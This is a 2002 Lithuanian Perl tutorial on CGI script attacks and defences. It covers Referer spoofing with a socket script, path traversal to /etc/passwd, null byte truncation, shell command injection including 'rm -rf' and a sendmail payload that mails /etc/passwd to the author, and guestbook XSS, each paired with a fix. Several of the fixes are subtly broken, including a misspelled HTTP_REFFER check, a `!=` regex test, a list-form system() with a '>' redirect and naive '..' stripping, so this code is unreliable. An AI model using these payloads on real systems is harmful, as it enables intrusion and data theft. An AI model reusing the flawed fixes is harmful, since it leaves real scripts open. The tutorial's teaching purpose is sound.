perltutorial
mr2
<H1>CGI ataka ir apsauga by mr2 [v2.0]</h1>
<readmore>
<table width="100%" border="0" height="100%" cellpadding="0" cellspacing="0">
<tr>
<td valign="top" align="center">
<table width="615" border="0" cellpadding="0" cellspacing="0">
<tr>
<td>
<div align="center">
<table width="400" border="1" cellpadding="3" cellspacing="0" bordercolor="#000000">
<tr>
<td>
<div align="center"><b>CGI ataka ir apsauga [v2.0]<br>
by mr2</b></div>
</td>
</tr>
</table>
<br>
</div>
</td>
</tr>
<tr>
<td>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bordercolor="#000000">
<tr>
<td bgcolor="#666666">
<div align="center"><b>turinys</b></div>
</td>
</tr>
</table>
<br>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bordercolor="#000000">
<tr>
<td>01 - intro</td>
</tr>
<tr>
<td>02 - HTTP_REFFER</td>
</tr>
<tr>
<td>03 - dot dot bugs</td>
</tr>
<tr>
<td>04 - poison null byte bug</td>
</tr>
<tr>
<td>05 - system ... fork ... exec ...</td>
</tr>
<tr>
<td>06 - HTML/Script</td>
</tr>
<tr>
<td>07 - aibendrinimas</td>
</tr>
</table>
<br>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bordercolor="#000000">
<tr>
<td bgcolor="#666666">
<div align="center"><b>text</b></div>
</td>
</tr>
</table>
<br>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bordercolor="#000000">
<tr>
<td bgcolor="#999999"> 01 - intro</td>
</tr>
<tr>
<td><br>
sveiki PERL'o gerbejai ... myletojai ar tiesiog programuotojai
!!! na labai malonu kad tokiu musu mylimoi Lietuvelei vis daugeja
... kalbu apie ne siaip imancius micro$oft "frontpage"
... "hotdog" ar dar koki "coffecup" (su
keliais pasenusiais Matt Wright'o CGI/PERL pavyzdziais) ...
imancius paveiksleli su kaukole ir darancius 'SuPeRdUpEr' puslapi
;) ... o apie mokancius ir darancius ...<br>
<br>
siais informaciniu technologiju laikais web puslapiai tiesiog
kepami desimtimis tukstanciu per diena ... ir tik nedaugelis
ju turi pakankamas apsaugas nuo paprasciausiu cgi/perl skriptu
ataku ... mane tiesiog erzina kvailas web dizaineriu poziuris
i savo darba ... jiem atrodo kad geras puslapio dizainas su
keleta i puslapi idetu 'navarotu' ... jau darbo pabaiga ...
inete netgi esu mates puslapi su rubrika "cgi/perl hack
of the mounth" ... taip ... taip ... deje tokios klaidos
yra labai daznos ... todel butina tokias klaidas salinti is
cgi/perl (php ... asp ir t.t.) skriptu ... kad netektu poto
gailetis (kas anksciau ar veliau ir atsitinka su zmonemis rasanciais
nesaugius skriptus ... o tokiu labai dauk ... patikekit manim)
... juk nera tai taip ir sunku ...
<p> toliau isdestysiu keleta standartiniu cgi/perl klaidu kuriomis
ir naudojasi 'piktieji' hacker'iai ... manot tai sunku ? ;)
taigi kad ne !!! viskas ko jums prireiks tai jusu mylimo internet
browser'io : IE ... Netscape ar kito ... beabejo tureti bent
minimalius (unix ar win) PERL programavimo pagrindus ... bei
(svarbiausia) galva ant peciu ;) ... na dar betkokia teksto
redagavimo programa pvz: notepad ...<br>
<br>
</p>
</td>
</tr>
</table>
<br>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bordercolor="#000000">
<tr>
<td bgcolor="#999999">02 - HTTP_REFFER</td>
</tr>
<tr>
<td>
<table width="100" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000">
<tr>
<td>
<div align="center">ataka</div>
</td>
</tr>
</table>
<br>
atakos paskirtis - perduoti remote skriptui pakeista (kreiva)
informacija<br>
<br>
taigi ... randame web puslapiuka su kaskokiu jus dominanciu
PERL skriptuku ir issaugom html'a pas save kompiuteryje ...
tada paziurim pati html'a ir rade pvz :<br>
<br>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td><form method="POST" action="/cgi-bin/programa.pl"></td>
</tr>
</table>
<p>pakeiciam i pvz :</p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td><form method="POST" action="http://www.auka.lt/cgi-bin/programa.pl"></td>
</tr>
</table>
<p>hmm ka mums tai duoda ? ogi tai kad dabar si html'a issaugoje
pas save diske jus galite paleisti http://www.auka.lt/cgi-bin/programa.pl
PERL programa is namu ir perduoti jai savus duomenis post
metodu (get metodui uztenka url eilutes) ;) ... hmm kam tai
? ogi tam kad tame paciame html'e galima rasti pasleptu duomenu
perduodamu paciam skriptui pvz :</p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td><input type="hidden" name="meilas"
size="20" value="webmaster@takas.lt"></td>
</tr>
</table>
<p> ir kagi tai reiskia ? ... sis skriptas ivestus duomenis
(greiciausiai) siuncia webmaster@takas.lt savininkui ... negi
neidomu kas tame laiske rasoma ? ... taigi pakeiciam webmaster@takas.lt
i pvz : mr2@xxx.lt ir isbandom ...<br>
<br>
beabejo sis hack'as kaskokios dideles naudos neduos ... galu
gale taip galima suzinot kokius duomenis apie tave renka adminas
pvz : IP ... tai juk tik vienas (is daugeliu) sios atakos
panaudojimo budas ... kad ir pvz: jej rastumem pvz : 'value="uzloginta.html"'
... hmm argi tai tik ne html'as rodomas i forma teisingai
ivedus duomenis ? hmm kodelgi sito nepakeitus i pvz : 'value="/../../../etc/passwd"'
a?</p>
<table width="100" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000">
<tr>
<td>
<div align="center">apsauga</div>
</td>
</tr>
</table>
<p> nuo tokio tipo ataku labai paprasta ir butina apsisaugot
... tiesiog irasom sekancias eilutes i savo skriptuko pradzia:<br>
</p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p>if ($ENV{'HTTP_REFFER'} != m#^http://www.jusuhostas.lt/cgi-bin/programa.pl#){<br>
print "content-type: text/html\n\n";<br>
print "atsok hacker\'i OK"; }</p>
</td>
</tr>
</table>
<p>kuris tikrina ar duomenys gauti per jusu URL ... BET TAI
NERA 100% APSAUGA nes visa si tikrinima galima labai lengvai
apeiti pvz su telnet'o pagalba ... (nuo wannabe JAPH apsaugo
;) )<br>
<br>
kadangi tai varginanti procedura ... hackeriai yra pasirase
ivairiu programu kurios tai atlieka automatiskai ...<br>
cia ir idedu tokio tipo skripta (demonstruojanti galimus duomenu
pakeitimus uzkausoje) parasyta perl'u:<br>
<br>
</p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p>#!/usr/bin/perl</p>
<p>use Socket; #naudojam socket biblioteka (detalesne
informacija apie sia biblioteka CPAN'e)</p>
<p>$hostas='http://127.0.0.1'; #taikinys<br>
$path='/cgi-bin/test.pl'; #kelias iki skripto<br>
$portas=80; #portas (default 80)<br>
$http_method='POST'; #duomenu siuntimo metodas<br>
$http_protocol='HTTP/1.0'; #protokolas<br>
$http_referer='http://127.0.0.1/test.pl'; #apgaulingas
HTTP_REFERER<br>
$http_user_agent='http_referer exploit in PERL by mr2';
#browserio tipas ;)<br>
$http_content_type='application/x-www-form-urlencoded';
#duomenu enkodingas<br>
$form_d='name=mr2&email=mr2@xxx.lt'; #POST metodu
siunciama eilute<br>
$form_d=~s/\,/\%2C/g; #keicaim kablelius i "%2C"<br>
$form_d=~s/ /+/g; #keiciam tarpus i "+"<br>
$length=length($form_d); #skaiciuojam eilutes ilgi (CONTENT_LENGTH)</p>
<p>#visa (serveriui) siunciama eilute</p>
<p>$duomenys="$http_method $path $http_protocol\r<br>
Referer: $http_referer\r<br>
User Agent: $http_user_agent\r<br>
Content-type: $http_content_type\r<br>
Content-length: $length\r<br>
\r<br>
$form_d\r<br>
";</p>
<p>print "content-type: text/html\n\n"; #rezultatus
rodysim browser'yje<br>
&siusti; #issaukiam siuntimo sub'a<br>
exit; #isejimas is programos</p>
<p>#toliau standartinis tcp soketo susijungimas su servu
...<br>
#eilutes perdavimas ir servo atsakymo rodymas browser'yje
...</p>
<p>sub siusti {<br>
$i_addr=inet_aton($hostas) || die 'nepavyko rasti host\'o
!';<br>
$p_addr=sockaddr_in($portas,$i_addr);<br>
$proto=getprotobyname('tcp');<br>
socket(SOCK,PF_INET,SOCK_STREAM,$proto) || die 'nepavyko
sukurti socket\'o !';<br>
connect(SOCK,$p_addr) || die 'nepavyko susijungti !';<br>
send(SOCK,$duomenys,0);<br>
while (<SOCK>) { print "$_"; }<br>
close(SOCK);<br>
}</p>
</td>
</tr>
</table>
<br>
</td>
</tr>
</table>
<br>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bordercolor="#000000">
<tr>
<td bgcolor="#999999">03 - dot dot bugs</td>
</tr>
<tr>
<td>
<table width="100" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000">
<tr>
<td>
<div align="center">ataka</div>
</td>
</tr>
</table>
<p>atakos paskirtis - naudojant ".." keliauti po serverio
katalogus (perziurint paciu katalogu sudeti ar failu skaitymui)<br>
<br>
na tai turbut labiausiai paplitus ataka nes sekmingai ja pasinaudojus
is serverio galima isgauti /etc/passwd ar betkoki kita hackeriui
idomu faila ...<br>
<br>
ji vykdoma per URL eilute ... ivedant ne normaliai pvz:</p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p>http://www.auka.lt/cgi-bin/get.pl?rodyt=nuorodos.html</p>
</td>
</tr>
</table>
<p>kad skriptas i browser'i isvestu ne nuorodos.html turini
o pvz:</p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p>http://www.auka.lt/cgi-bin/get.pl?rodyt=../../../etc/passwd</p>
</td>
</tr>
</table>
<p>si problema iskyla tada kai jums reikia html'e nurodyti ka
rodyti po kaskokio veiksmo (koki puslapi ar panasiai) pvz:</p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p>open(F,"</home/remote/mr2/public_html/$input");<br>
@visas=<F>;<br>
close(F);<br>
print "Content-Type: text/html\n\n";<br>
foreach $eilute (@visas) {<br>
print $eilute;<br>
}<br>
close(F);</p>
</td>
</tr>
</table>
<p>siuo atveju ".." pagalba galima nukeliauti i zemesnius
katalogus ir is ten i browseri isvedamas nurodyto failo turinys
(tiek kiek leidzia juzerio id) ...<br>
<br>
tokiu paciu principu galima pasinaudoti ir skriptais irasanciais
i failus esancius serveryje ... pakeisti kaskokius duomenis
... ar paprasciausiai deface'int index.html ...</p>
<table width="100" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000">
<tr>
<td>
<div align="center">apsauga</div>
</td>
</tr>
</table>
<p>nuo sios atakos yra keleta apsisaugojimo budu ... pvz:<br>
<br>
(populiariausias) ".." salinimas:<br>
</p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p>$direktorija =~ s#\.\.##g;</p>
</td>
</tr>
</table>
<p>arba pvz: vietoje</p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p>http://www.auka.lt/cgi-bin/get.pl?rodyt=nuorodos.html</p>
</td>
</tr>
</table>
<p>naudoti pvz:</p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p>http://www.auka.lt/cgi-bin/get.pl?siust=01</p>
</td>
</tr>
</table>
<p>kur gavus toki URL ... rodyti faila pagal (kokiametai) failu
saraselyje nurodytus failu numerius (01) ... direktorijas
... zodziu neleisti i URL ivedinet tiesaus adreso i failus
...</p>
<p> dar kitas budas: uzdrausti siust failus neesancius pagrindiniame
kataloge pvz:</p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p>if ($direktorija ne /^$root_directory/) { print "atsok
hacker\'i OK"; }</p>
</td>
</tr>
</table>
<p>bet sis budas gan retai naudojamas (nes kartais ji imanoma
apeiti)<br>
<br>
</p>
</td>
</tr>
</table>
<br>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bordercolor="#000000">
<tr>
<td bgcolor="#999999">04 - poison null byte bug</td>
</tr>
<tr>
<td>
<table width="100" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000">
<tr>
<td>
<div align="center">ataka</div>
</td>
</tr>
</table>
<p>Olaf Kirch atrastas bug'as ... viena is originalesniu ataku
... leidzianti "nukirpti primetama galune"<br>
<br>
manau jus tikrai esat mate web skriptu atrodanciu pvz:</p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p>http://www.auka.lt/cgi-bin/programa.pl?rodyt=nuorodos</p>
</td>
</tr>
</table>
<p> ir paleidus si skripta jis i jusu browser'i tiesog isveda
(musu atveju) pvz : nuorodos.html ... o pats skriptas atrodo
pvz:</p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p>$html_pav="$ivesta\.html";<br>
open(F,"<$html_pav");<br>
@visas=<F>;<br>
close(F);<br>
print "Content-Type: text/html\n\n";<br>
foreach $eilute (@visas) {<br>
print $eilute;<br>
}<br>
close(F);</p>
</td>
</tr>
</table>
<p>na ka cia galima nu'hack'int pasakysit jus ... juk cia imamas
ivestas html'o pavadinimas ... prie jo galo pridedami ".html"
ir html'as parodomas jusu browser'yje ...</p>
<p> bet kas butu jei ($ivesta) ivestumem pvz : "/etc/passwd%00nuorodos"
?</p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p>$html_pav="$ivesta\.html"; # dabar $html_pav='/etc/passwd%00nuorodos.html'<br>
open(FILE "<$html_pav"); # atidarineja
$html_pav</p>
</td>
</tr>
</table>
<p>atidarineja $html_pav ne kaip '/etc/passwd%00nuorodos.html'
kas teoriskai ir turetu ivykti ... o '/etc/passwd' nes perl'as
%00 ('\0'==%00) supranta kaip ivestos eilutes pabaiga ;) (beje
tai ne vienintelis null byte atakos budas)</p>
<table width="100" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000">
<tr>
<td>
<div align="center">apsauga</div>
</td>
</tr>
</table>
<p> apsauga beabejo nuo to egzistuoja ... ir ji skamba labai
paprastai : istrinam ivestuose duomenyse esancius "\0"
(null baitus) :</p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p>$ivesta=~s/\0//g;</p>
</td>
</tr>
</table>
<br>
</td>
</tr>
</table>
<br>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bordercolor="#000000">
<tr>
<td bgcolor="#999999">05 - system ... fork ... exec ...</td>
</tr>
<tr>
<td>
<table width="100" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000">
<tr>
<td>
<div align="center">ataka</div>
</td>
</tr>
</table>
<br>
geriau zinantiems PERL ... nesvetimos : system fork exec funkcijos
... kuriu neteisingas panaudojimas taipat gali pridaryt nemalonumu
pvz:
<p> </p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p>system ("grep $paieskomas_zodis duomenys.log >
gauta.log");</p>
</td>
</tr>
</table>
<p>eilute turetu ieskoti zodzio ($paieskomas_zodis) duomenys.log
faile ir gautus rezultatus issaugoti gauta.log faile ... ir
jei $paieskomas_zodis ivedamas html'o formoje ... kodelgi
cOOl hacker'iui neivedus pvz: 'cd /; rm -rf *.*" kad
dabar is eiles butu vykdomos komandos: grep; cd /; rm -rf
*.* data.txt > results.txt<br>
<br>
kitas pavizdys arba kaip gauti passwd el.pasto pagalba ...
jei turim pvz:</p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p><input type="hidden" name="email"
value="lama@centras.lt"></p>
</td>
</tr>
</table>
<p>o pats @mail'as issiunciamas pvz:</p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p>system("/usr/lib/sendmail -t $email < $file");</p>
</td>
</tr>
</table>
<p>tada pakeiciam anksciau mineta eilute i:</p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p><input type="hidden" name="email"
value="lama@centras.lt;mail mr2@xxx.lt </etc/passwd"></p>
</td>
</tr>
</table>
<p>ir kaip jus manot koki el. laiska turetumet gauti po sekmingai
paleisto skripto ?</p>
<table width="100" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000">
<tr>
<td>
<div align="center">apsauga</div>
</td>
</tr>
</table>
<p> apsisaugot galima keliais budais (todel man ir patinka PERL
...) pvz : uzdraudziam $paieskomas_zodis ivedinet nereikalingus
simbolius:<br>
</p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p>$paieskomas_zodis =~ tr/0-9a-z_A-Z\///cd;</p>
</td>
</tr>
</table>
<p>arba pakeinciam pradine eilute i:</p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p>system ("grep","$paieskomas_zodis","duomenys.log",">
gauta.log");</p>
</td>
</tr>
</table>
<p>dabar $paieskomas_zodis bus suprantamas kaip grep kintamasis
...</p>
<p> arba isvis 'system("/usr/lib/sendmail...' keiciam i
paprastesni (ir saugesni) skripta :</p>
<p> </p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p>open(MAIL, "|/usr/lib/sendmail -t");<br>
print MAIL "To: $adresas\n";</p>
</td>
</tr>
</table>
<br>
</td>
</tr>
</table>
<br>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bordercolor="#000000">
<tr>
<td bgcolor="#999999">06 - HTML/Script</td>
</tr>
<tr>
<td>
<table width="100" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000">
<tr>
<td>
<div align="center">ataka</div>
</td>
</tr>
</table>
<br>
tiek Lietuvoje ... tiek kitur ispopuliarejes atakos metodas
... nes yra labai paprastas ... ir kaip bebutu keista daznai
suveikiantis neziurint i tai kad nuo jo labai paprasta apsisaugot
... (apie tai veliau)<br>
<br>
tau tiesiog tereikia bentkiek moketi HTML ar Script (java,vbscript)
... uzeini i skyreli "sveciu knyga" ir vietoi "geras
puslapis ... sveikinu tu katik laimejai maikute ... gali jos
nenusirenkti ;)" irasom HTML'o tegus arba skripta pvz:<br>
<br>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p><script language="javascript">alert("nu
ir lama adminas ...");</script></p>
</td>
</tr>
</table>
<p> ir ka ? uzeinam i ta pacia "sveciu knyga" ir paziurim
kas daros ... ogi issoksta lentele su uzrasu 'nu ir lama adminas
...'</p>
<p> tokiu budu i "sveciu knyga" galima idet pvz :
java skripta ... vb skripta ... java applet'a ar tiesiog '<IMG
...' su nuoroda i nebloga paveiksleli ... (xxx ar besikraunanti
puse dienos ...) ar dar kaip pavizdi : java skripta atidarinejanti
1000 saves is kuriu kiekvienas atidarineja dar po 1000 ...<br>
<br>
ir jei serverio administratorius neuzdraudzia HTML bei skriptu
rasymo ... pats kaltas jei isskris is darbo ... sefui pamacius
kas daros su jo firmos puslapiu ...<br>
</p>
<table width="100" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000">
<tr>
<td>
<div align="center">apsauga</div>
</td>
</tr>
</table>
<p> paprasciausias apsisaugojimo budas - "<" ir
">" keitimas i "&lt;" ir "&gt;"<br>
</p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p>$ivesta =~ s/</&lt;/g;<br>
$ivesta =~ s/>/&gt;/g;</p>
</td>
</tr>
</table>
<p>galimi ir kiti budai:</p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p>$ivesta =~ s/< *IMG[^>]+>//ig; # istrina '<img
... >'<br>
$ivesta =~ s/<!--#[^>]+>//g; # istrina '<!--#
... >'<br>
$ivesta =~ s/< *((SCRIPT) | (APPLET) | (EMBED)) [^>]+>//ig;
# istrina '<script ... >','<applet ... >','<embed
... >'</p>
</td>
</tr>
</table>
<br>
bet ju neverta naudoti nes anksciau minetas "<"
ir ">" keitimas i "&lt;" ir "&gt;"
viska sutvarko ...<br>
<br>
</td>
</tr>
</table>
<br>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bordercolor="#000000">
<tr>
<td bgcolor="#999999">07 - aibendrinimas</td>
</tr>
<tr>
<td><br>
beabejo tai ne vieninteliai cgi/perl skriptu atakos budai ..
<p> svarbiausia atsiminti kad jusu skripto saugumas priklauso
tik nuo jusu ir kuo maziau informacijos apie skripto veikima
paliksit viesai prieinamose vietose ... tuo sis skriptas bus
sunkiau iveikiamas ar net neiveikiamas ;) ...</p>
<p> parase skripta neskubekit tuojau det i savo url ... isbandykit
ji !!! ...</p>
<p> parsisiunte nemokama skripta pvz : cc_val.pl ... pervadinkit
ji !!! pvz : cc.pl ... nes tiems kas nesupranta to svarbos
ir rasomi cgi checker'iai iekantys skriptu su tamtikrais pavadinimais
... isanksto zinant situ skriptu skyles ...</p>
<p> is ivestu duomenu<br>
</p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p>s/([\&;\`'\\\|"*?~<>^\(\)\[\]\{\}\$\n\r])/\\$1/g;</p>
</td>
</tr>
</table>
<p>komanda pasalinkit visus pavojingiausius simbolius &;`'\"|*?~<>^()[]{}$\n\r</p>
<p> kad apsisaugot nuo visokiu "../../etc/passwd"
pasalinkit ".." (s/\.\.//g;) ir pasaulyje liks maziau
bug'ovu skriptu (gerai as cia pasakiau ;) ) ...</p>
<p> be viso sito ... kartais butinas ir $ENV{'REQUEST_METHOD'}
tikrinimas:</p>
<table width="100%" border="1" cellpadding="3" cellspacing="0" bgcolor="#CCCCCC" bordercolor="#333333">
<tr>
<td>
<p>if ($ENV{'REQUEST_METHOD'} ne "POST") { ...
}</p>
</td>
</tr>
</table>
<p>tikiuosi sio-to ismokot protingieji (ne ... ne kurmiai ;)
) perl'o megejai ... na o jei ne ... (ka padarysi ... buna)
RTFM ... nes anksciau ar veliau ... del jusu skriptu skyliu
turesit didesniu ar mazesniu problemu ;)<br>
<br>
comments r wellcome : by e-mail -> mr2@xxx.lt <- or
on irc -> /server irc.delfi.lt:6667 /join #Perl<br>
</p>
</td>
</tr>
</table>
<br>
</td>
</tr>
<tr>
<td>
<div align="center">Copyright by mr2 2001-2002.</div>
</td>
</tr>
</table>
</td>
</tr>
</table>
<p><small><b>Edited</b>: ~Wed Jul 3 17:06:51 2002 (GMT),
by [footpad]:<br /> Modified title, removed extraneous HTML from document, and shortened width for printing.</small></p>